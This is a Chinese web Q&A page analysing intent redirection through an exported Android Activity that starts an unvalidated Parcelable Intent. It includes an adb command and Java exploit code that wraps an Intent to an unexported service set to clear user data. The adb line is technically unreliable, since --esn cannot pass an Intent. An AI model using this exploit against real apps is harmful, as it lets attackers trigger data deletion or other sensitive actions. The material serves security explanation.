You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

导出Activity且接收Parcelable Intent的Android应用安全风险及漏洞利用

Android导出Activity接收Parcelable Intent作为Extra的安全隐患与利用分析

一、核心安全隐患

  • 组件权限绕过:导出的Activity相当于一个"权限跳板"——系统原本会限制外部启动未导出组件或需要特定权限的组件,但这个Activity在自身进程内调用startService,完全绕过了系统的权限校验逻辑,外部攻击者可以借它启动任意组件。
  • 无限制的Intent重定向:代码完全信任外部传入的Parcelable Intent,没有做任何合法性校验(比如限定组件包名、Action范围),攻击者可以构造任意目标的Intent,让应用替自己执行启动操作。
  • 敏感操作被间接触发:如果目标应用存在未导出的敏感组件(比如处理用户隐私数据、执行支付逻辑的Service),或者其他应用有可被利用的组件,攻击者无需直接访问这些组件,通过这个导出Activity就能间接触发危险操作,导致数据泄露、财产损失。
  • 输入校验缺失:最根本的问题是对外部传入的extra_deep_link_intent没有任何校验,既没检查Intent的目标组件是否属于本应用,也没过滤Action、Data等关键参数,完全暴露了启动组件的能力。

二、结合代码的漏洞利用流程

先看代码逻辑:导出的Activity在初始化时调用handleIntentExtras,从自身Intent中取出名为extra_deep_link_intent的Parcelable Intent,直接调用startService启动该Intent指向的组件,全程没有任何校验。

攻击者可以按以下步骤实现Intent重定向:

  1. 构造恶意目标Intent:
    可以选择两种攻击目标:
    • 目标应用内部的未导出敏感组件:比如负责删除用户本地数据的com.example.app.DeleteDataService,给它传入触发删除操作的参数;
    • 其他应用(包括系统应用)的敏感组件:比如系统的短信发送组件,或者第三方支付应用的快捷支付组件。
  2. 封装攻击Intent:
    将上述恶意Intent作为Extra,以extra_deep_link_intent为键,封装到启动目标应用导出Activity的Intent中。
  3. 触发攻击:
    攻击者可以通过ADB命令直接触发,或者在恶意应用中调用startActivity启动该导出Activity:
    • ADB命令示例:
      adb shell am start -n com.example.targetapp/.ExportedActivity --esn extra_deep_link_intent "[序列化后的恶意Intent]"
      
    • 恶意应用代码示例:
      // 构造启动导出Activity的Intent
      Intent attackIntent = new Intent();
      attackIntent.setComponent(new ComponentName("com.example.targetapp", "com.example.targetapp.ExportedActivity"));
      
      // 构造要启动的恶意Service Intent
      Intent maliciousIntent = new Intent();
      // 指向目标应用未导出的敏感Service
      maliciousIntent.setComponent(new ComponentName("com.example.targetapp", "com.example.targetapp.UnexportedSensitiveService"));
      maliciousIntent.putExtra("operate", "clear_user_data");
      
      // 将恶意Intent作为Extra传入
      attackIntent.putExtra("extra_deep_link_intent", maliciousIntent);
      
      // 触发攻击
      startActivity(attackIntent);
      
  4. 漏洞触发结果:
    目标应用的导出Activity接收到Intent后,会直接取出恶意Intent并调用startService,由于是在目标应用自身进程内执行,系统不会校验该组件是否导出,也不会检查调用者的权限,最终攻击者成功启动了任意目标组件,执行预设的危险操作。

内容的提问来源于stack exchange,提问作者anonmer

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.07.30 00:52:42